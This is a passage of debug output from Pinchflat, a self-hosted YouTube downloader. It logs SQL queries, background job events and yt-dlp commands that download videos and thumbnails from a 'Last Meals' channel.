/tmp/pinchflat/data/85/48/8548c4c36ff3774b2535786938bfea64c2ceda374d8c7d384cd4b12a525928b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:37:30.663 [debug] QUERY OK db=0.0ms idle=1605.1ms begin [] 21:37:30.664 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:37:27Z], "/downloads/Last Meals/2025-04-15 Stavros Halkias Eats His Last Meal/Stavros Halkias Eats His Last Meal [eUtrcz7rlfM].mp4", ~U[2026-03-28 01:37:30Z], 40] 21:37:30.664 [debug] QUERY OK source="media_metadata" db=0.4ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/40/metadata.json.gz", "/config/metadata/media_items/40/thumbnail.jpg", 40, ~U[2026-03-28 01:37:30Z], ~U[2026-03-28 01:37:30Z]] 21:37:30.665 [debug] QUERY OK db=0.0ms commit [] 21:37:30.667 [debug] QUERY OK source="media_items" db=0.7ms idle=1410.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [232367243, ~U[2026-03-28 01:37:30Z], 40] 21:37:30.667 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:37:30.667 [info] {"args":{"id":40},"id":43,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":79675886,"event":"job:stop","queue_time":2896991383,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:37:30.668 [debug] QUERY OK source="tasks" db=0.3ms idle=608.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:30.668 [debug] QUERY OK source="tasks" db=0.4ms idle=411.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:30.668 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:37:30.668 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [38] 21:37:30.673 [info] {"args":{"id":41},"id":44,"meta":{},"system_time":1774661850673733871,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:37:30.674 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [41] 21:37:30.674 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:37:30.674 [debug] QUERY OK source="tasks" db=0.6ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:30.674 [debug] QUERY OK source="tasks" db=0.6ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:30.674 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:37:30.674 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [38, 41] 21:37:30.675 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:37:30.675 [debug] QUERY OK source="media_items" db=0.4ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [38, 41] 21:37:30.675 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [41] 21:37:30.675 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [41] 21:37:30.675 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:37:30.675 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:30.675 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:30.676 [debug] Running yt-dlp command for action: get_downloadable_status 21:37:30.676 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:30.676 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:30.676 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:30.676 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tMqYObbCYIk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/02/0b/020be41d5a1f1045cd994813d484dfce44e9bd7d1c81de33a3e800fc7e2a340c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:37:33.054 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tMqYObbCYIk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/02/0b/020be41d5a1f1045cd994813d484dfce44e9bd7d1c81de33a3e800fc7e2a340c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:37:33.055 [debug] Running yt-dlp command for action: download 21:37:33.055 [debug] QUERY OK source="settings" db=0.0ms idle=996.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:33.055 [debug] QUERY OK source="settings" db=0.0ms idle=996.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:33.055 [debug] QUERY OK source="settings" db=0.0ms idle=996.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:33.055 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tMqYObbCYIk --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7d/4d/7d4d94f52b91979462ed12a527e17d18dd7625583a66104766a0cdb3a49a5387.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:37:42.435 [info] GET / 21:37:42.435 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:37:42.436 [debug] QUERY OK source="settings" db=0.2ms idle=376.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:42.436 [debug] QUERY OK source="media_profiles" db=0.2ms idle=377.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:37:42.437 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=377.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:37:42.438 [debug] QUERY OK source="media_items" db=0.7ms idle=378.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:42.438 [debug] QUERY OK source="media_items" db=0.1ms idle=161.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:42.439 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:42.439 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:42.440 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:42.442 [debug] QUERY OK source="tasks" db=0.4ms idle=3.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:42.442 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [38, 41] 21:37:42.444 [debug] QUERY OK source="media_items" db=0.1ms idle=5.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:42.445 [debug] QUERY OK source="media_items" db=0.8ms idle=5.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:42.446 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:37:42.449 [debug] QUERY OK source="media_items" db=0.5ms idle=7.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:37:42.451 [debug] QUERY OK source="media_items" db=0.9ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:37:42.452 [debug] QUERY OK source="sources" db=0.3ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:37:42.454 [info] Sent 200 in 19ms 21:37:58.733 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.096 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eQH5AMqpuYU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/03/c8/03c82314cef3fd2f0a976ce88b25a4008add82b6e9b7caea52dbce251500fcc4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:38:00.109 [debug] Running yt-dlp command for action: download_thumbnail 21:38:00.109 [debug] QUERY OK source="settings" db=0.0ms idle=803.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:00.110 [debug] QUERY OK source="settings" db=0.0ms idle=51.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:00.110 [debug] QUERY OK source="settings" db=0.0ms idle=51.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:38:00.110 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eQH5AMqpuYU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/38/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c9/c6/c9c61f3db56e04f054459b4e73f90b9a7d9265db457d1b65ae290d92d8a59754.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:38:00.614 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:02.559 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=eQH5AMqpuYU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/38/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c9/c6/c9c61f3db56e04f054459b4e73f90b9a7d9265db457d1b65ae290d92d8a59754.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:38:02.560 [debug] QUERY OK db=0.0ms idle=501.4ms begin [] 21:38:02.560 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:38:00Z], "/downloads/Last Meals/2025-08-07 Julia Garner Eats Her Last Meal/Julia Garner Eats Her Last Meal [eQH5AMqpuYU].mp4", ~U[2026-03-28 01:38:02Z], 38] 21:38:02.562 [debug] QUERY OK source="media_metadata" db=1.9ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" 